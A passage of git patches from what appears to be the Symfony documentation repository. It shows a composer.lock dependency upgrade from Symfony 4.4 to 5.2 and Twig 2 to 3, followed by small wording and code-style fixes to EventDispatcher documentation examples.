-                "source": "https://github.com/php-fig/container/tree/master"
+                "source": "https://github.com/php-fig/container/tree/1.1.1"
             },
-            "time": "2017-02-14T16:28:37+00:00"
-        },
-        {
-            "name": "psr/http-message",
-            "version": "1.0.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/php-fig/http-message.git",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.3.0"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Psr\\Http\\Message\\": "src/"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
-                }
-            ],
-            "description": "Common interface for HTTP messages",
-            "homepage": "https://github.com/php-fig/http-message",
-            "keywords": [
-                "http",
-                "http-message",
-                "psr",
-                "psr-7",
-                "request",
-                "response"
-            ],
-            "support": {
-                "source": "https://github.com/php-fig/http-message/tree/master"
-            },
-            "time": "2016-08-06T14:39:51+00:00"
+            "time": "2021-03-05T17:36:06+00:00"
         },
         {
             "name": "psr/log",
@@ -525,50 +270,6 @@
             },
             "time": "2020-03-23T09:12:05+00:00"
         },
-        {
-            "name": "ralouphie/getallheaders",
-            "version": "3.0.3",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/ralouphie/getallheaders.git",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.6"
-            },
-            "require-dev": {
-                "php-coveralls/php-coveralls": "^2.1",
-                "phpunit/phpunit": "^5 || ^6.5"
-            },
-            "type": "library",
-            "autoload": {
-                "files": [
-                    "src/getallheaders.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Ralph Khattar",
-                    "email": "ralph.khattar@gmail.com"
-                }
-            ],
-            "description": "A polyfill for getallheaders.",
-            "support": {
-                "issues": "https://github.com/ralouphie/getallheaders/issues",
-                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
-            },
-            "time": "2019-03-08T08:55:37+00:00"
-        },
         {
             "name": "scrivo/highlight.php",
             "version": "v9.18.1.6",
@@ -647,42 +348,44 @@
         },
         {
             "name": "symfony/console",
-            "version": "v4.4.19",
+            "version": "v5.2.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "24026c44fc37099fa145707fecd43672831b837a"
+                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/24026c44fc37099fa145707fecd43672831b837a",
-                "reference": "24026c44fc37099fa145707fecd43672831b837a",
+                "url": "https://api.github.com/repos/symfony/console/zipball/35f039df40a3b335ebf310f244cb242b3a83ac8d",
+                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php73": "^1.8",
                 "symfony/polyfill-php80": "^1.15",
-                "symfony/service-contracts": "^1.1|^2"
+                "symfony/service-contracts": "^1.1|^2",
+                "symfony/string": "^5.1"
             },
             "conflict": {
-                "symfony/dependency-injection": "<3.4",
-                "symfony/event-dispatcher": "<4.3|>=5",
+                "symfony/dependency-injection": "<4.4",
+                "symfony/dotenv": "<5.1",
+                "symfony/event-dispatcher": "<4.4",
                 "symfony/lock": "<4.4",
-                "symfony/process": "<3.3"
+                "symfony/process": "<4.4"
             },
             "provide": {
                 "psr/log-implementation": "1.0"
             },
             "require-dev": {
                 "psr/log": "~1.0",
-                "symfony/config": "^3.4|^4.0|^5.0",
-                "symfony/dependency-injection": "^3.4|^4.0|^5.0",
-                "symfony/event-dispatcher": "^4.3",
+                "symfony/config": "^4.4|^5.0",
+                "symfony/dependency-injection": "^4.4|^5.0",
+                "symfony/event-dispatcher": "^4.4|^5.0",
                 "symfony/lock": "^4.4|^5.0",
-                "symfony/process": "^3.4|^4.0|^5.0",
-                "symfony/var-dumper": "^4.3|^5.0"
+                "symfony/process": "^4.4|^5.0",
+                "symfony/var-dumper": "^4.4|^5.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -715,8 +418,14 @@
             ],
             "description": "Eases the creation of beautiful and testable command line interfaces",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "cli",
+                "command line",
+                "console",
+                "terminal"
+            ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v4.4.19"
+                "source": "https://github.com/symfony/console/tree/v5.2.6"
             },
             "funding": [
                 {
@@ -732,24 +441,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-03-28T09:42:18+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8"
+                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f907d3e53ecb2a5fad8609eb2f30525287a734c8",
-                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f65f217b3314504a1ec99c2d6ef69016bb13490f",
+                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5"
             },
             "type": "library",
             "autoload": {
@@ -781,7 +490,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v4.4.19"
+                "source": "https://github.com/symfony/css-selector/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -797,34 +506,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-01-27T10:01:46+00:00"
         },
         {
             "name": "symfony/docs-builder",
-            "version": "v0.12.0",
+            "version": "v0.15.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "e388a6f8cd7a98c34cdc913d18adc9e92ef73441"
+                "reference": "b9f5e8d9b0608e5dc55979e32bc0f36983adcbd8"
             },
             "require": {
-                "doctrine/rst-parser": "dev-master",
+                "doctrine/rst-parser": "0.4.x-dev",
                 "ext-curl": "*",
                 "ext-json": "*",
-                "guzzlehttp/guzzle": "~6.0",
                 "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^4.1",
-                "symfony/css-selector": "^4.1",
-                "symfony/dom-crawler": "^4.1",
-                "symfony/filesystem": "^4.1",
-                "symfony/finder": "^4.1",
-                "symfony/http-client": "^4.3",
-                "twig/twig": "^2.7.3"
+                "symfony/console": "^5.2",
+                "symfony/css-selector": "^5.2",
+                "symfony/dom-crawler": "^5.2",
+                "symfony/filesystem": "^5.2",
+                "symfony/finder": "^5.2",
+                "symfony/http-client": "^5.2",
+                "twig/twig": "^2.14 || ^3.3"
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^4.1",
-                "symfony/process": "^4.2"
+                "symfony/phpunit-bridge": "^5.2",
+                "symfony/process": "^5.2"
             },
             "type": "project",
             "autoload": {
@@ -832,37 +540,43 @@
                     "SymfonyDocsBuilder\\": "src"
                 }
             },
+            "autoload-dev": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\Tests\\": "tests"
+                }
+            },
             "license": [
                 "MIT"
             ],
             "description": "The build system for Symfony's documentation",
-            "time": "2020-10-26T22:58:16+00:00"
+            "time": "2021-04-15T00:39:27+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "21032c566558255e551d23f4a516434c9e3a9a78"
+                "reference": "400e265163f65aceee7e904ef532e15228de674b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/21032c566558255e551d23f4a516434c9e3a9a78",
-                "reference": "21032c566558255e551d23f4a516434c9e3a9a78",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/400e265163f65aceee7e904ef532e15228de674b",
+                "reference": "400e265163f65aceee7e904ef532e15228de674b",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.0"
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "^1.15"
             },
             "conflict": {
                 "masterminds/html5": "<2.6"
             },
             "require-dev": {
                 "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^3.4|^4.0|^5.0"
+                "symfony/css-selector": "^4.4|^5.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
@@ -893,7 +607,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.19"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -909,24 +623,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-02-15T18:55:04+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v4.4.19",
+            "version": "v5.2.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380"
+                "reference": "8c86a82f51658188119e62cff0a050a12d09836f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/83a6feed14846d2d9f3916adbaf838819e4e3380",
-                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/8c86a82f51658188119e62cff0a050a12d09836f",
+                "reference": "8c86a82f51658188119e62cff0a050a12d09836f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "symfony/polyfill-ctype": "~1.8"
             },
             "type": "library",
@@ -955,7 +669,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v4.4.19"
+                "source": "https://github.com/symfony/filesystem/tree/v5.2.6"
             },
             "funding": [
                 {
@@ -971,24 +685,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-03-28T14:30:26+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6"
+                "reference": "0d639a0943822626290d169965804f79400e6a04"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
-                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/0d639a0943822626290d169965804f79400e6a04",
+                "reference": "0d639a0943822626290d169965804f79400e6a04",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5"
             },
             "type": "library",
             "autoload": {
@@ -1016,7 +730,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v4.4.19"
+                "source": "https://github.com/symfony/finder/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -1032,43 +746,49 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-02-15T18:55:04+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v4.4.19",
+            "version": "v5.2.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967"
+                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/d8df50fe9229576b254c6822eb5cfff36c02c967",
-                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/3c3075467da15bc2edf38d2ac20d34719e794bd8",
+                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
                 "psr/log": "^1.0",
-                "symfony/http-client-contracts": "^1.1.10|^2",
+                "symfony/http-client-contracts": "^2.2",
                 "symfony/polyfill-php73": "^1.11",
+                "symfony/polyfill-php80": "^1.15",
                 "symfony/service-contracts": "^1.0|^2"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "1.1"
+                "symfony/http-client-implementation": "2.2"
             },
             "require-dev": {
+                "amphp/amp": "^2.5",
+                "amphp/http-client": "^4.2.1",
+                "amphp/http-tunnel": "^1.0",
+                "amphp/socket": "^1.1",
                 "guzzlehttp/promises": "^1.4",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.3|^5.0",
-                "symfony/http-kernel": "^4.4.13",
-                "symfony/process": "^4.2|^5.0"
+                "symfony/dependency-injection": "^4.4|^5.0",
+                "symfony/http-kernel": "^4.4.13|^5.1.5",
+                "symfony/process": "^4.4|^5.0",
+                "symfony/stopwatch": "^4.4|^5.0"
             },
             "type": "library",
             "autoload": {
@@ -1096,7 +816,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v4.4.19"
+                "source": "https://github.com/symfony/http-client/tree/v5.2.6"
             },
             "funding": [
                 {
@@ -1112,20 +832,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-03-28T09:42:18+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.3.1",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33"
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41db680a15018f9c1d4b23516059633ce280ca33",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
                 "shasum": ""
             },
             "require": {
@@ -1136,9 +856,8 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "2.3",
                 "branch-alias": {
-                    "dev-main": "2.3-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1175,7 +894,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.3.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1191,7 +910,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-14T17:08:19+00:00"
+            "time": "2021-04-11T23:07:08+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
@@ -1273,23 +992,21 @@
             "time": "2021-01-07T16:49:33+00:00"
         },
         {
-            "name": "symfony/polyfill-intl-idn",
+            "name": "symfony/polyfill-intl-grapheme",
             "version": "v1.22.1",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483"
+                "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
+                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/2d63434d922daf7da8dd863e7907e67ee3031483",
-                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/5601e09b69f26c1828b13b6bb87cb07cddba3170",
+                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1",
-                "symfony/polyfill-intl-normalizer": "^1.10",
-                "symfony/polyfill-php72": "^1.10"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-intl": "For best performance"
@@ -1306,7 +1023,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Idn\\": ""
+                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
                 },
                 "files": [
                     "bootstrap.php"
@@ -1318,30 +1035,26 @@
             ],
             "authors": [
                 {
-                    "name": "Laurent Bassin",
-                    "email": "laurent@bassin.info"
-                },
-                {
-                    "name": "Trevor Rowbotham",
-                    "email": "trevor.rowbotham@pm.me"
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
                 },
                 {
                     "name": "Symfony Community",
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions",
+            "description": "Symfony polyfill for intl's grapheme_* functions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
-                "idn",
+                "grapheme",
                 "intl",
                 "polyfill",
                 "portable",
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1523,82 +1236,6 @@
             ],
             "time": "2021-01-22T09:19:47+00:00"
         },
-        {
-            "name": "symfony/polyfill-php72",
-            "version": "v1.22.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
-                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.22-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php72\\": ""
-                },
-                "files": [
-                    "bootstrap.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.22.1"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2021-01-07T16:49:33+00:00"
-        },
         {
             "name": "symfony/polyfill-php73",
             "version": "v1.22.1",
@@ -1763,20 +1400,21 @@
         },
         {
             "name": "symfony/process",
-            "version": "v4.4.19",
+            "version": "v5.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a"
+                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/7e950b6366d4da90292c2e7fa820b3c1842b965a",
-                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a",
+                "url": "https://api.github.com/repos/symfony/process/zipball/313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
+                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.15"
             },
             "type": "library",
             "autoload": {
@@ -1804,7 +1442,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v4.4.19"
+                "source": "https://github.com/symfony/process/tree/v5.2.4"
             },
             "funding": [
                 {
@@ -1820,25 +1458,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T09:09:26+00:00"
+            "time": "2021-01-27T10:15:41+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v2.2.0",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1"
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/d15da7ba4957ffb8f1747218be9e1a121fd298a1",
-                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "psr/container": "^1.0"
+                "psr/container": "^1.1"
             },
             "suggest": {
                 "symfony/service-implementation": ""
@@ -1846,7 +1484,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.2-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1883,7 +1521,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/master"
+                "source": "https://github.com/symfony/service-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1899,20 +1537,103 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-07T11:33:47+00:00"
+            "time": "2021-04-01T10:43:52+00:00"
+        },
+        {
+            "name": "symfony/string",
+            "version": "v5.2.6",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/string.git",
+                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/string/zipball/ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
+                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-intl-grapheme": "~1.0",
+                "symfony/polyfill-intl-normalizer": "~1.0",
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "~1.15"
+            },
+            "require-dev": {
+                "symfony/error-handler": "^4.4|^5.0",
+                "symfony/http-client": "^4.4|^5.0",
+                "symfony/translation-contracts": "^1.1|^2",
+                "symfony/var-exporter": "^4.4|^5.0"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\String\\": ""
+                },
+                "files": [
+                    "Resources/functions.php"
+                ],
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "grapheme",
+                "i18n",
+                "string",
+                "unicode",
+                "utf-8",
+                "utf8"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/string/tree/v5.2.6"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-03-17T17:12:15+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v2.14.3",
+            "version": "v3.3.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9"
+                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8bc568d460d88b25c00c046256ec14a787ea60d9",
-                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
+                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
                 "shasum": ""
             },
             "require": {
@@ -1927,13 +1648,10 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.14-dev"
+                    "dev-master": "3.3-dev"
                 }
             },
             "autoload": {
-                "psr-0": {
-                    "Twig_": "lib/"
-                },
                 "psr-4": {
                     "Twig\\": "src/"
                 }
@@ -1966,7 +1684,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v2.14.3"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.0"
             },
             "funding": [
                 {
@@ -1978,7 +1696,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-05T15:34:33+00:00"
+            "time": "2021-02-08T09:54:36+00:00"
         }
     ],
     "packages-dev": [],
@@ -1988,11 +1706,11 @@
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=7.2.9"
+        "php": ">=7.4"
     },
     "platform-dev": [],
     "platform-overrides": {
-        "php": "7.2.9"
+        "php": "7.4.14"
     },
     "plugin-api-version": "2.0.0"
 }

From e0b27461d8251c1dbdbc645c28e02cc9929f1e8c Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Sat, 24 Apr 2021 11:53:21 +0200
Subject: [PATCH 0787/5766] [EventDispatcher] Minor fixes

---
 components/event_dispatcher/generic_event.rst | 2 +-
 event_dispatcher/before_after_filters.rst     | 2 +-
 event_dispatcher/method_behavior.rst          | 4 ++--
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index 1f9be477151..1dc2a5be638 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -80,7 +80,7 @@ access the event arguments::
     {
         public function handler(GenericEvent $event)
         {
-            if (isset($event['type']) && $event['type'] === 'foo') {
+            if (isset($event['type']) && 'foo' === $event['type']) {
                 // ... do something
             }
 
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
index 6c48d62ee24..5be62d9ac09 100644
--- a/event_dispatcher/before_after_filters.rst
+++ b/event_dispatcher/before_after_filters.rst
@@ -189,7 +189,7 @@ serve as a basic flag that this request underwent token authentication::
     {
         // ...
 
-        if ($controller[0] instanceof TokenAuthenticatedController) {
+        if ($controller instanceof TokenAuthenticatedController) {
             $token = $event->getRequest()->query->get('token');
             if (!in_array($token, $this->tokens)) {
                 throw new AccessDeniedHttpException('This action needs a valid token!');
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
index cea11e72d8d..4e2f00fef0e 100644
--- a/event_dispatcher/method_behavior.rst
+++ b/event_dispatcher/method_behavior.rst
@@ -21,7 +21,7 @@ end of the method::
             $event = new BeforeSendMailEvent($subject, $message);
             $this->dispatcher->dispatch($event, 'mailer.pre_send');
